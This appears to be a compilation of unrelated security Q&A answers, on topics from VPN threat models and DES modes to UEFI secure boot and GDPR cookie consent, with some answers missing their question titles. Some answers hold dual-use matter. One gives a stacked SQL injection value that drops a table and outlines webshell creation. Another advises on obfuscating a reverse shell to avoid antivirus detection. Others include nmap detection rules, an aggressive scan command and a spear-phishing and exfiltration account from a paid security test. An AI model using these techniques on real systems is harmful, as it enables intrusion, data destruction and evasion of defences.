I think you should be concerned. It discloses information about the server hosting your company website. For instance, depending on the path it may contain unix usernames or give hints on how to exploit any path traversal vulnerability found in the website.

There is any reason to show the full path to the file? Why not just the filename?


What are the threat models that using a VPN for mobile data can mitigate?

A VPN acts as an encrypted tunnel and protects the confidentiality and integrity of data between your computer and the VPN server. It removes your router, ISP, and any other middle-man on your end of the connection from the list of components that need to be trusted. This helps protect against ISP snooping, attacks over insecure wireless networks (public Wi-Fi, cellular networks subject to CALEA in the US, etc.), as well as compromised networking equipment. It additionally moves trust from your ISP to the VPN server, so you could perform activities that would otherwise be monitored or blocked.
While some VPNs advertise that they provide anonymity, this is largely untrue. Although it is true that they may give some level of casual anonymity sufficient for, say, questionable P2P activities, it will not protect against any sophisticated adversary and is not designed for that. It's necessary to use a true anonymity network like Tor to effectively hide your real IP address and location.


Why do we need to remove null bytes from shell code?

You are correct in this situation; strcpy will indeed stop reading when it reaches a null byte, but this only needs to be done to shellcode that is passed directly to a string function that expects null-terminated strings. Of course, null bytes are valid machine code.

Since you are only injecting the address to your payload and not the actual payload itself, strcpy will not be reading the payload, as you have surmised.

Perhaps the author made a simple mixup; there certainly may be scenarios where it is desirable to pass the entire payload through something like strcpy, in which case you would indeed need to deal with the null bytes.

See this answer for some history.


Comparing Man-in-the-Middle with Man-in-the-Browser

Malware which got into the browser can grab and alter any data that the browser contains; if you see it or type it, then the malware sees it, and the malware can "type" other values. That's your doom.

SSL (HTTPS) only protect data in transit, between the browser and the server. It ensures that no outsider may peek at the data and/or alter it. But malware which is in the browser (or in the Operating System itself) is an insider and SSL is not relevant for it.

Best defence against malware, arguably the only defence, is not to let malware enter your machine. Don't install software which is not from a trustworthy source; keep your OS and browser fully up-to-date with regards to published security fixes; and pray. Oh yes, pray a lot.


The language/database framework on the server side is the best indicator on whether or you will be able to use stacked queries. If you can use stacked queries (executing multiple statements in one query: select * from users;drop table users;) it may be wiser to insert a user of your own, rather than altering an existing user.
If stacked queries are not possible you can often perform a password reset operation and then dump the password reset token from the database and use it to reset any users password.
As mentioned in other answers, you might be able to craft a webshell using union select into outfile for example. However that is often not feasible as it is a privileged database operation and requires the database server and web server to share the same file system and have weak permissions inside the web root.


Is reading ISO 27000 official publication sufficient to prepare for exam?

No.
ISO 27000 is only 23 pages since it is only the overview and vocabulary list.


How does DNS / router safety checking work?

Looking at tcpdump output and debugger output from running the tool, it appears that the page retrieves this URL:

https://dnscheck.sc.fsapi.com/prod/v1/router-checker

and gets a response that looks like this:

{
  "ping_url" : "https://[arbitrary string].names.dnscheck.sc.fsapi.com/prod/v1/result?apikey=[arbitrary string]&output=dns"
}

The arbitrary string in the hostname and the API key seem to change with each request.

... GETting that URL returns output like this:

{
  "asn" : "12008",
  "asn_org" : "NeuStar, Inc.",
  "isp" : "NTT America",
  "org" : "NeuStar",
  "continent_code" : "NA",
  "continent_name" : "North America",
  "country_code" : "US",
  "country_name" : "United States",
  "registered_country_code" :
  "US",
  "registered_country_name" :
  "United States",
  "dns_ip" : "165.254.23.143",
  "known_public_dns" : "Norton ConnectSafe",
  "verdict" : "uncertain"
}

.. so it looks like they've got a server set up to monitor the source of DNS lookups (which is why you get your own custom/random hostname to look up) and then make a report about the entity that made the request.

The example I show here is from Firefox, which is apparently being intercepted by a Norton service I didn't install; if I make the same request from Chrome, it shows data that identifies the request as coming from my upstream net provider.

So, as discussed in your question and the comments to your question, it looks like a smart bad DNS provider could just pass through all of their requests to Google or another upstream DNS provider, and this tool probably wouldn't catch them.


Encrypt a message or sign it with a X509 certificat

I feel your confusion. From your provided link, I copied the first paragraph:

The Web Services Enhancements for Microsoft .NET (WSE) allows a sender, which can either be an XML Web service or its client, to encrypt portions of the SOAP message by using the public key for the recipient's X.509 certificate. A receiver, which can be either a Web service or its client, then decrypts the message by using the private key for its X.509 certificate. If the recipient is the only one with the private key, it is highly likely that only the recipient can decrypt the message. Therefore, to encrypt the message, the sender must have access to the public key for the recipient's X.509 certificate and the recipient must have access to the private key for the recipient's X.509 certificate.

In order to understand these things, you need to notice and laser your attention as to which X.509 certificate the sentence is referring to. Is it from the sender or from the receiver? Here are the two sides:

The sender side has his X.509 certificate
The receiver side has its own X.509 certificate too.

For example, let us analyze this one:

allows a sender, which can either be an XML Web service or its client, to encrypt portions of the SOAP message by using the public key for the recipient's X.509 certificate

Here is the analysis:

The sender is doing the encryption part
The sender uses the public key of the receiver to do the encryption
The sender extracts this public key from the X.509 certificate of the receiver

I tried to analyze the root cause of your confusion. I think, the root cause is the use of for instead of of in the sentences. Can you please confirm if, indeed, this is the root cause?
Most folks want to prove the rocket scientists that they are. But I am more interested in the root causes of confusion as it widens my point of view and allows me to see things in different perspectives.


Suricata: nmap scan does not match rules

I'm not sure if it was the case when you posted this question, but all of the signatures you posted above have been commented out of the emerging-scan.rules.

https://rules.emergingthreats.net/open/suricata-5.0/rules/emerging-scan.rules

Here are all of the remaining nmap rules in that library that are not commented out.

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap NSE)"; flow:to_server,established; content:"Nmap NSE"; http_user_agent; reference:url,doc.emergingthreats.net/2009359; classtype:web-application-attack; sid:2009359; rev:4; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"ET SCAN Nmap Scripting Engine User-Agent Detected (Nmap Scripting Engine)"; flow:to_server,established; content:"Mozilla/5.0 (compatible|3b| Nmap Scripting Engine"; nocase; http_user_agent; depth:46; reference:url,doc.emergingthreats.net/2009358; classtype:web-application-attack; sid:2009358; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET SCAN NMAP SQL Spider Scan"; flow:established,to_server; content:"GET"; http_method; content:" OR sqlspider"; http_uri; reference:url,nmap.org/nsedoc/scripts/sql-injection.html; classtype:web-application-attack; sid:2013778; rev:2; metadata:created_at 2011_10_19, updated_at 2011_10_19;)

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"ET SCAN NMAP SIP Version Detect OPTIONS Scan"; flow:established,to_server; content:"OPTIONS sip|3A|nm SIP/"; depth:19; classtype:attempted-recon; sid:2018317; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)

alert tcp $EXTERNAL_NET any -> $HOME_NET 5060:5061 (msg:"ET SCAN NMAP SIP Version Detection Script Activity"; content:"Via|3A| SIP/2.0/TCP nm"; content:"From|3A| <sip|3A|nm@nm"; within:150; fast_pattern; classtype:attempted-recon; sid:2018318; rev:1; metadata:created_at 2014_03_25, updated_at 2014_03_25;)

alert udp $EXTERNAL_NET 10000: -> $HOME_NET 10000: (msg:"ET SCAN NMAP OS Detection Probe"; dsize:300; content:"CCCCCCCCCCCCCCCCCCCC"; fast_pattern:only; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; depth:255; content:"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC"; within:45; classtype:attempted-recon; sid:2018489; rev:3; metadata:created_at 2014_05_20, updated_at 2014_05_20;)

alert tcp any any -> $HOME_NET any (msg:"ET SCAN Nmap NSE Heartbleed Request"; flow:established,to_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; content:"|01|"; offset:5; depth:1; byte_test:2,>,2,3; byte_test:2,>,200,6; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021023; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)

alert tcp $HOME_NET any -> any any (msg:"ET SCAN Nmap NSE Heartbleed Response"; flow:established,from_server; content:"|18 03|"; depth:2; byte_test:1,<,4,2; byte_test:2,>,200,3; content:"|40 00|Nmap ssl-heartbleed"; fast_pattern:2,19; classtype:attempted-recon; sid:2021024; rev:1; metadata:created_at 2015_04_28, updated_at 2015_04_28;)

alert http $HOME_NET any -> any any (msg:"ET SCAN Possible Nmap User-Agent Observed"; flow:to_server,established; content:"|20|Nmap"; http_user_agent; fast_pattern; metadata: former_category SCAN; classtype:web-application-attack; sid:2024364; rev:3; metadata:affected_product Any, attack_target Client_and_Server, deployment Perimeter, signature_severity Audit, created_at 2017_06_08, performance_impact Low, updated_at 2017_06_13;)

I did try to trigger them, but I don't really have the right setup to try as most of them require external to internal connections.


Prey vs SSH for remote wipe of stolen laptop under Ubuntu

Nick from Prey's team here.

A quick tip on our wipe tool: It does modify the data before deleting it to avoid its recovery, and you can enable 2FA for extra security in your account.

All our connections are encrypted, and as for data encryption, we're currently working on a remote encryption tool as an alternative to this sort of cases.


Mapping of plaintext and ciphertext in DES

As is often the case, the answer is it depends.

In ECB mode, a single plaintext and key combination results in exactly one ciphertext output, and a single ciphertext and key combination results in exactly one plaintext output. This is a requirement for the encryption and decryption process: it must be reversible, otherwise it is rather pointless (then you'd be looking at some form of hash function).

If different keys could generate the same ciphertext from the same plaintext, then what would cause one ciphertext and not some other to be generated? There is no random number generator involved in DES (although you'd hope there is one in key generation).

If different plaintexts could generate the same ciphertext given the same key, then how would decryption determine which plaintext is identical to the originally encrypted plaintext?

It follows from this line of reasoning that in ECB mode, the same pair of plaintext and ciphertext must map to exactly one key.

Of course, nobody in their right mind uses ECB mode as anything more than a building block for something more robust. However, as pointed out by Mark, your question doesn't make a lot of sense in modes other than ECB.

Modes other than ECB, such as CBC (Cipher Block Chaining), CTR (Counter), CFB (Cipher Feedback) and so on feed something more than the plaintext/ciphertext and key into the encryption/decryption function. These are normally initialized with some form of what is known as an Initialization Vector (abbreviated IV) or nonce (for "number used only once"). The IV simply randomizes the process.

In these cases, when working with a single block of plaintext data, you can expect for any combination of plaintext and key any ciphertext value to be possible, with the IV essentially functioning as a selector. The next block is processed similarly but with something about the previous block taking the place of the IV. The IV is normally not considered a secret; its purpose is not to protect the plaintext, but rather to force an attacker to use an attack mode that cannot be reduced to effectively a table lookup as can be done with ECB (a very large table, but still a table lookup). Using a feedback mode of some sort also ensures that patterns in the plaintext do not appear as patterns in the ciphertext.


Understanding how my google mail account was hacked

Based on the information you've provided I can make the following notes:

  I discovered a few days ago that my gmail account had the following
  settings:
  Application Specific Password (not sure when created, Google does not
  tell me)

Adding an Application Specific Password requires you re-authenticate, even in an existing session. This has me believe that the attacker who made these changes, either had your password, or had access to your machine and just used the password manager to fill in the password fields.

Go to Account Security and check Recent Security Events to review any suspicious activity. This will tell you when that Application Specific Password was created. It will say "Password allowing app to access account created" and the date and location. With that information, you may be able to identify where you were when you were hacked and figure out if your machine could have been vulnerable.

Check also, Third-party apps with account access to see who has access to what.

  I also use 2FA on this account.

The most likely explanation is still that your machine had an existing session open so the attacker would not need to 2FA. Otherwise they would need to have access to your other 2FA device as well.

  I recall about a week ago using single sign on to access a new site
  that I now think was very sketchy....I created a temporary fake gmail
  account to perform the single sign on, and I used that instead....I maintained the browser session with my main google
  account, but the permissions were given for the fake account.

Was there a redirect to Google for the sign in? Can you remember if you verified the url was Googles? Many phishing attempts use a 'real' looking auth page to grab your creds. The url is a giveaway. Your 2FA setup should squash any attempt to login using the creds though (good work having 2FA!)

  Is it possible that using single-sign on (even with a different
  account) can add an ASP to my main google account just because I had a
  browser session opened at that time?

Not likely. It is possible you thought you were authenticating using the fake account but were in fact using the main account. Check your Google activity here:  My Activity and confirm.

  Are there any vulnerabilities in single-sign on that I need to be aware of here?

Not impossible but not the most likely explanation. But no, no known vulnerabilities of Google's Sign In that are relevant here.

Using the resources I pointed to:

https://myaccount.google.com/security
https://myactivity.google.com/myactivity

you should be able to answer a few of your own questions (or it may result in more questions!)


UEFI secure boot ensures that the UEFI firmware loads and executes only signed UEFI applications (including bootloaders) and drivers. So an attempt to modify them by introducing a malware would be detected and rejected. A vulnerability or malware (including rootkits) could possibly be also signed in the loaded code or the components loaded next.

  Can a secure boot really block rootkit modules from being installed or
  is it just capable of blocking rootkits from loading during the system
  bootup?

Secure boot does not protect your system from introducing a malware after the boot process finishes then the system behaves the same as without secure boot. To keep the boot process safe the signing chain of the loaded code must be ensured because there could be multiple stages of booting. See below.

Chain of software components

The overall security depends on the chain of the individual components:

hardware - Security of all the software depends on the hardware it is running on.
UEFI - The firmware takes care of secure boot including the management and storage of cryptographic keys used for code signature verification. The certificates stored in the UEFI variables are trusted by the UEFI secure boot.
bootloader - This (with possible UEFI drivers and applications) is the only software (except UEFI itself) in the boot chain directly validated by the secure boot signature. All the next components listed below are not secured by the UEFI secure boot specification. To keep the whole booting procedure secure the bootloader and possible next booting components must implement code signature checking mechanisms similar to secure boot.
second stage bootloader - optional component
OS kernel - As the most complex component running most of the time offers the largest playfield for vulnerabilities.

Trustworthiness of the signing certificates

The trustworthiness of the signed bootloader depends on the signing keys which are loaded into the UEFI variables with trusted signing certificates. For example in some distributions of Linux a small bootloader called shim is being used to overcome the secure boot and load an unsigned second stage bootloader or kernel. So anyone who can write to the medium with the bootloader or kernel image could introduce any vulnerability or malware into it.

Shim in many current distributions is being used to load a code signed by a different key so usage of shim alone does not mean that the whole boot chain is not protected by signatures.

References

Fedora UEFI Secure Boot Guide
UEFI Secure Boot in Modern Computer Security Solutions
Secure Boot in Ubuntu


In a nutshell, no.

Basically, any physical input device that "receives" clear card data (for example, by data entry - typing, swiping or other methods) must appear on the PCI "PTS" certification list.

In theory (and very concisely), this certifies that the device uses approved forms of encryption, key management,etc., only outputs safely encypted data, and is tamper-proof (to the point that any tampering destroys the crypto keys.)

Basically, the use of an uncertified device for input negates everything.     It theoretically could be possible to obtain a "compensating control" around that,  but as a practical matter, that is NOT going to happen.   You are best just getting an approved device as your input device (for example, Magtech has a line of devices that work with IOS devices.)

Search the PCI PTS list as a starting point, or reach out to your financial institution for guidance.)


Can be PGP keys in Ubuntu been replaced?

All updates in Ubuntu are signed and the signature is verified relatively to the PGP public keys install to that effect. A package won't be accepted as genuine unless its signature matches one of the keys. These keys are themselves installed and updated through the ubuntu-keyring and ubuntu-extras-keyring packages.

If an attacker manages to alter these packages on the ISO image that you use to bootstrap the whole process, then:

If the attacker removed or replaced the Ubuntu keys then your machine won't accept any extra packages, including updates, from the genuine Ubuntu servers.
If the attacker simply added his own public key but left the genuine keys in place, then updates will still work -- including a possible update to the ubuntu-keyring package, which may thus "kick out" the attacker by removing his extra key.
You are doomed anyway, because an attacker who could alter the ISO could have inserted backdoors in dozens of packages, keys or no keys.


Is strong cryptography legal across the internet?

Realistically, although there are a couple of countries who may arrest you for authoring a product which is illegal in that jurisdiction, they do this in breach of international law. caveat: I am not a lawyer, but deal a lot with international regulations around security works, and the real situation is as follows:

I could happily write an encryption product (well, it may not be very good, as I'm not a cryptographer, but anyway) which I pop onto the Internet - perfectly legal in my country.

(This wasn't the case in the US not so long ago - it was the exporting that was the issue, as the US government thought they could control strong crypto. This was nonsense as others around the globe were developing strong crypto as well, and the eventual relaxing of the rules was forced by people like Zimmerman exporting books with the algorithms in - which were protected under 'free speech' in the US. Some strong crypto still counts as munitions there though...)

But in any case, unless your particular country has export restrictions, you can pop crypto code up on the web. (Some draconian countries, such as the US, can put pressure on their residents to enforce access controls on some types of data to try and prevent it being accessible from prohibited countries, but realistically, if something is on a bit of the Internet, it is on The Internet)

The countries which may arrest you for providing code onto the Internet which is legal in your own country could only do it if you were on their own soil, and against all international guidance. I'm thinking of the countries that can arrest you for saying the wrong thing about someone in power, for example - which goes against most human rights legislation anyway.


What is different about being targeted by a professional attacker?

Disclaimer: I work at a company developing security software to mitigate against targeted attacks.
Some of the methods we use are similar to those used by attackers (when clients want to test their systems).
For example, one client asked us to test their security by doing targeted [spear] phishing attacks. We emailed only the IT department with a combination of 2 emails. One was an apparently mis-addressed email to the board with a link to a Pdf named something like Executive bonus summary.pdf, the other purported to be a new external portal for the company to use during the Olympics ("Please check your domain credentials work correctly..."). With a quick search on social media, we could've made user-specific emails but that would be time consuming and ultimately wasn't necessary.
We registered a domain name that was visually similar to the target's, then used it to host fake pages (styled identically to the real ones) and send DKIM signed emails (to avoid spam filters).
Of the techies targeted, 43% gave us their corporate login details, 54% tried to download the bogus pdf (the pdf was just garbage bytes so it looked like a corrupt download. One guy tried 5 times using Firefox, IE and finally wget).
We were told that only one user had detected the attack and reported it to management (but only after giving us their credentials).
So... Getting into the company is not impossible. As for getting information out, our normal sales pitch includes a demo of us bypassing company firewalls/traditional DLP. I don't believe we've ever failed unless they're air-gapped or using a good data diode (although the rate of exfiltration varies. In one case, we had a restrictive white-listing firewall, so had the software encode documents into images and keep updating a profile picture on Google. Then we watched the profile externally and downloaded each chunk).
That said, we've found time and again that software can be worked around but users are consistently the weakest link.
So to answer your question, a targeted attack includes the personal touch. Custom websites designed to trick users, research into what software (and release) is being used to check for known vulnerabilities, investigations on social media, social engineering, etc, etc.
Another one worth considering although less common is bribery/blackmail. If you're talking about state actors, it's not inconceivable.


How to retrieve type of device starting from its public ip

Apart from nmap, try to telnet the ports yourself. Some servers provide headers, like SSH does (this is how nmap identifies the ports):

root@debian:~# telnet 193.231.X.Y 22
Trying 193.231.X.Y...
Connected to 193.231.X.Y.
Escape character is '^]'.
SSH-2.0-OpenSSH_5.5p1 Debian-6+squeeze5
^]
telnet> cl
Connection closed.
root@debian:~#

You can see the SSH being run on a Debian server above.

Web servers usually react to couple of CL+LF, but ifnot, you can issue a GET request:

root@debian:~# telnet localhost 80
Trying ::1...
Connected to localhost.
Escape character is '^]'.

GET / HTTP/1.0

HTTP/1.1 200 OK
Date: Tue, 10 Feb 2015 11:44:04 GMT
Server: Apache/2.2.16 (Debian)
Last-Modified: Thu, 30 Oct 2014 20:09:38 GMT
ETag: "c357-b1-506a975bb4480"
Accept-Ranges: bytes
Content-Length: 177
Connection: close
Content-Type: text/html

It works!

This is the default web page for this server.

The web server software is running but no content has been added, yet.

Connection closed by foreign host.
root@debian:~#

Same Debian here. You can see the space before the GET request, I've tried couple of new lines.

Remember, this applies to services that do not default to their usual port (like SSH on some ABCD port, or a web server on ABCD port. Also these are examples for known services, you might however bump into headers of some other service. So first use nmap to find open ports, then check them manually if nmap doesn't know them - some wording might represent an useful piece of information for a human than for nmap.

One more thing: use more flags and extend the search on all ports, using various nmap options, i.e. (careful if you're crossing third party networks as they might not like your port scanning):

nmap -p1-65535 -sV --version-all -sU -sN --reason -T5  193.231.X.Y

And, if you have access on some host on the same LAN/VLAN, look in the ARP Cache table and check the MAC OUI (first three bytes of the mac address), then look it up on the net, getting the vendor name (Wireshark provides an OUI Lookup Tool). Usualy some PC/Server NIC is not manufactured in the same plant asa a switch (there are exceptions, take HP for example, but not Cisco or Juniper, they don't manufacture PCs or Servers).


How difficult it is to solve a salt if knowing the original data and the hash output that uses the SHA-2 algorithm

Cryptographic hashes are in principle not reversible.  So it should not be possible to get the salt by taking a known query string and associated hash (or a set of them) and reversing them, other than by trying brute-force.  Brute-force is not going to be feasible with a random GUID that's has 32 hex-characters (one hex character is 4-bit, hence the GUID is 128 bit).  So brute force of the salt should require creating ~2^128 sha-2 hashes to be created (half the time you should find it with 2^127 or less hashes).  On the other hand, if you used a 2 hex-character-salt, brute-forcing would be trivial with only 2^8 = 256 SHA-2 hashes.

Granted this analysis assumes no new unpublished attacks on SHA-2 exist or one that utilizes this expanded attack surface by being able to create multiple hashes of arbitrary text all starting with the same salt.  This scenario seems a bit similar to the related-key attacks where you break a cipher (find the decryption key) when you are assisted by being able to force someone to encrypt data with several unknown keys that are related in some mathematical sense (some bits vary but most are the same).

However, I'm not aware of any such attack on SHA-2 or any other hash and have never seen the problem actively discussed -- given everything but s in the following "H(s ++ p1) = h1, H(s ++ p2) = h2, ..., H(s ++ pN) = hN)" recover s.  Typically you think of three attacks in regard to hash functions; pre-image resistance (given h generated by H(m) find m), second pre-image resistance (given m1 find another m2 such that H(m1) = H(m2)), and collision resistance (find any two distinct m1, m2 such that H(m1)=H(m2)).  This is something different.

Personally, I can't imagine how an attack of this type would work on a modern cryptographic hash like SHA-2 (with 64 rounds) due to the avalanche effect, but to quote Schneier's law "Any person can invent a security system so clever that he or she can't imagine a way of breaking it."  The fact that it hasn't been studied extensively would not make me confident that hash functions would be resistant to this type of effect against very sophisticated attackers.


First thing you should do is check to see if there is anything exist you can use instead of trying to roll your own authentication / authorization framework. Going web? Then look at OAuth 2.0 or OpenID. If you have to roll your own then:

Avoid sending credentials if you can - instead send a token that can be used to verify the credentials. Signed token with a hash value that can be used to represent the secret.

Once your token is generated cache it on the client in a secure manor and send per request.


“Flow” between computers (Logitech mouse) DLP

DLP generally works at the filesystem level, scanning files when opened and/or written to disk.  Files copied onto a system using Logitech Flow will trigger DLP at the same points as usual; DLP cares about filesystem operations and not about the method (network, Flow, carrier pigeon, ...) used to get the file in place for interaction with the filesystem.


Is this password entropy calculation correct?

Yes, your calculations appear to be correct.

5 (vowels, if you don't count y) * 21 (consonants) = number of possible two-character arrangements.  So 105 different two-character arrangements in the 1 vowel and 1 consonant order.  And like you said the reverse order is also possible, so 105 more for a total of possible 210 arrangements.

210 arrangements ^ 8 two character groupings = number of combined total character combinations.  So approximately 3,782,285,936,100,000,000 possible combinations.

Log2 of 3,782,285,936,100,000,000 gives you the number of possible combinations represented in bits.  So approximately 61.7 bits.


Reverse shell with python client side becomes detectable after converting with pyinstaller as exe file

Many Python “exe” tools just package the script with a runtime. You may want to consider something like Cython that produces a C version that can be compiled directly to object code. I doubt your vanilla version will escape detection and my require further obfuscation.


What is the easiest way to search massive, leaked databases for persons and personal information?

Here is what I do...

I assume my data is out there... I don't bother looking for it. Somebody will run across my SSN eventually and it will get scraped up into a database and sold around the world.

As far as I'm concerned, searching for my data has little value and certainly won't put the horse back into the barn.  In fact, even searching for my SSN or credit card numbers could expose them.

I live in the US and have placed a credit freeze on our 6 credit reports (3 for me and 3 for my wife). This is done at the websites of the big 3 credit bureaus.

When I need a new line of credit (loan, card, etc), I temporarily thaw the reports and they automatically re-freeze after a week or so (Just did this in order to refinance my home).  This freezing and thawing process takes about 15 minutes online and has never cost me a cent.

http://www.clarkhoward.com/news/clark-howard/personal-finance-credit/credit-freeze-and-thaw-guide/nFbL/


Threat model for huge warnings on untrusted SSL certificates and no warnings for plain HTTP connections?

It is not a threat model, it is a business model. Web browsers cannot warn about plain HTTP because that would be warning about the whole Internet (not a bad warning, really, but one which users will quickly ignore). Web browsers do warn about certificate issues with SSL because successful phishing attempts are very bad publicity. Browser vendor must be able to show that they "do something about it", and that's the scary warnings.

The theoretical justification is that users are obviously trained and know that in the absence of the (in)famous "padlock icon" there is no security. So they don't need warnings for plain HTTP; the lack of padlock ought to be enough.

(It takes a bit of training to be able to say that without sniggering.)


What attacks can be done from a "sketchy" internet site

The two main issues that come to mind would be installation of malware via browser vulnerabilities and exploitation of vulnerabilities in other websites.

Exploiting client-side vulnerabilities in other websites

Examples: CSRF, XSSI, XSS, JSONP, CORS, postmessage, clickjacking, etc.

As you mentioned, tabs are sandboxed fairly well because of the same origin policy. But web applications can introduce vulnerabilities to weaken this separation, allowing one website to send or receive data from another one, in the name of the user.

private/incognito mode will prevent these issues to a high degree, as they rely on exploiting the current authentication a user has with other websites.

Exploiting vulnerabilities in the browser

Examples: drive-by-downloads, buffer overflows, etc

A malicious website may attempt to exploit vulnerabilities in the browser itself, which may allow execution of code on the victims computer and thus installation of malware.

private/incognito mode will not prevent this.

Misc

Phishing. Don't enter sensitive data on sketchy sites, or sites they link to (or verify that you are actually on the site you want to be).
Leak of information about you (IP, browser & OS info, etc).
Leak of information about your network: the attacker can issue requests to the internal network you are in - eg by requesting images - and thus gather information about it.

private/incognito mode will not prevent these.


Use GPG smartcard and gpg-agent to protect multiple SSH keys

The easiest solution I was able to come up with this morning uses Key Encryption Key principles for execution. This is fairly common when using multiple SSH keys on servers in the cloud. You can use a cloud based HSM to encrypt/decrypt the keys you need to use without having to store it locally. This was when your encrypted keys are left on the disk, and attacker doesn't have access to the master key.

To implement this within your environment you need the following:

A gpg configured Yubikey (or other GPG key system)
A target file to encrypt/decrypt
A slightly modified configuration file

For the purposes of this article, I'm going to assume the reader has already configured their Yubikey. If you haven't done this (I realize OP has), you can register your key with gpg with these directions:

https://support.yubico.com/support/solutions/articles/15000006420-using-your-yubikey-with-openpgp

The first thing you'll want to do is determine which key you want to perform the local encryption and decryption. Try running:

gpg --list-keys

This will output a few lines. We need the content of the PUB line for the key associated with the yubikey:

pub   2048R/E48EFBC7 2019-01-20

Specifically, we need the 8 characters "E48EFBC7". Once we have the characters, we can copy them to our configuration file to ensure we use the yubikey key by default. To do this, update the following line in the gpg.conf file (~/.gnupg/gpg.conf):

default-key E48EFBC7

By default, this line is commented out, you'll need to uncomment it. As a side note, this is NOT required, but it is helpful. Instead of trying to specify a key for encryption, you can make the application leverage your Yubikey by default.

The next configuration will be altering the recipient. Again, this is optional but definitely helpful. Scroll down and uncomment the following line within the gpg.conf file:

default-recipient-self

Now your gpg agent is set to automatically use your yubikey for encryption/decryption and to make the target recipient your encrypting key.

With this in place, you can now start encrypting and decrypting your certificates. To encrypt simply run the following command:

gpg -o <output.gpg> -e <ssh.key>

To decrypt;

gpg -o <ssh.key> -d <output.gpg>

Decryption will ask for your Yubikey PIN.

Some finer notes:

Run a chmod 600 on your ssh keys when they are un-encrypted to make sure only the direct owner has permission to read the key.
Remove decrypted keys when they are not longer needed.
You can still add a key to your ssh keys to protect them even when they are decrypted.


There is no binary answer to be 'GDPR compliant'. There are however some steps you can take to be compliant to some extend. Key element to the GDPR is that you need either explicit permission from your users (or visitors) to collect, store and use their data or another legal basis (such as required by law). The request to use their data must use clear language, you cannot hide it somewhere in a lengthy Terms and Conditions disclaimer.

There are a couple of things to consider. First of all, all users have the right to access, change or remove their data. The GDPR requires everyone to provide mechanisms for anyone to receive any previously provided personal data in a commonly used and machine-readable format.

You must also follow privacy by design principles. This means you cannot check 'I accept your terms and conditions' by default, for example.

The first step is to conduct a Privacy Impact Assessment (PIA by GDPR) which basically means you should ask yourself the following questions:

What data am I collecting
Do I need this data or is it just 'nice to have'
What is my legal basis (in most cases this will be consent) to store and process this data
How long am I going to store this data
Am I going to share this data with others

Then you need to answer all these questions in a privacy agreement of some sort. There are many templates on the internet, for example this one by SEQ Legal (which I am not affiliated with).

Cookies are only mentioned once in the GDPR, but the consequences for anyone tracking users and their browser activity are significant. Recital 30 of the GDPR states the following:

  Natural persons may be associated with online identifiers […] such as internet protocol addresses, cookie identifiers or other identifiers […]. This may leave traces which, in particular when combined with unique identifiers and other information received by the servers, may be used to create profiles of the natural persons and identify them.

Which means that when a cookie can identify an individual via their device, it is considered personal data. This supports Recital 26, which states that any data that can be used to identify an individual either directly or indirectly (whether on its own or in conjunction with other information) is personal data.

To become compliant, you must stop collecting these cookies or find a lawful ground to collect and process that data. The most simple way for doing this is by consent. There are some things to consider (as can be found here):

Implied consent is no longer sufficient. Consent must be given through a clear affirmative action, such as clicking an opt-in box or choosing settings or preferences on a settings menu. Simply visiting a site doesn’t count as consent.
‘By using this site, you accept cookies’ messages are also not sufficient for the same reasons. If there is no genuine and free choice, then there is no valid consent. You must make it possible to both accept or reject cookies. This means:
It must be as easy to withdraw consent as it is to give it. If organisations want to tell people to block cookies if they don’t give their consent, they must make them accept cookies first.
Sites will need to provide an opt-out option. Even after getting valid consent, sites must give people the option to change their mind. If you ask for consent through opt-in boxes in a settings menu, users must always be able to return to that menu to adjust their preferences.

For cookies this means a simple opt-in notification or consent form is sufficient however you should still have a privacy policy in place that covers the above questions when it comes down to personal data, which most cookies are.


How secure are my passwords in the hands of Firefox using a Master Password?

In short - Firefox uses triple DES in CBC mode with Master Password.

More details: nice article about this topic is here: http://luxsci.com/blog/master-password-encryption-in-firefox-and-thunderbird.html and if you want some more details, here is mozillaZine article: http://kb.mozillazine.org/Master_password. This article gives you a detailed comparison between the major browsers.

It is believed that it is safe to store passwords such way, however, I do not trust any software. Maybe it sounds too paranoid, but we can never know where the vulnerability hides.


Is it possible to estimate a Windows servers uptime remotely?

TCP Timestamps can potentially be used to estimate uptime for Windows 2012. Nmap still uses this technique to guess uptimes.

Disabling this feature can have performance impacts, so it is often left open.


Would allowing the user to login via a set of IPs with face recognition be a secure enough alternative?

Consider the scenario where a co-worker obtains a photo of someone's portrait, and prints it out. They then use the same network (and thus public IP) to log in, holding that printout up to the webcam. They are then logged in, because the face recognition recognises the face, and the IP is the same.

Face recognition involves "something you are," to which the additional security factors are "something you know" (password, etc.) and "something you have" (token, etc.) Face recognition in combination with something that falls under either of the latter two would be more secure, though you have to weigh up its cost-benefit ratio and whether "something you have" is still compromisable, depending on the situation.


How does Windows 8's Microsoft Account authentication work?

Windows uses a Credential Provider and a SSPI to provide the functionality. The SSPI communicates via web service to the Microsoft endpoints. The endpoints are configured by storing them in a code-signed DLL that gets pushed down via Windows Update. The SSPI will load up the DLL, verify its code signed by Microsoft, and parse out the necessary endpoints.

When the SSPI connects to the endpoints it compares the SSL certificate to a value stored in the configuration DLL. Not sure if its just subject comparison or if they've doing key comparisons, but if the comparison fails for whatever reason the request is rejected.

Further, the process is protected by a client secret. The credentials sent to the endpoint are encrypted using a local secret that the Microsoft endpoints know. Not sure if its a symmetric key or an asymmetric key. Asymmetric key might be more likely though. This key is shared during the bootstrapping process that occurs when you register the computer as Live ID enabled.

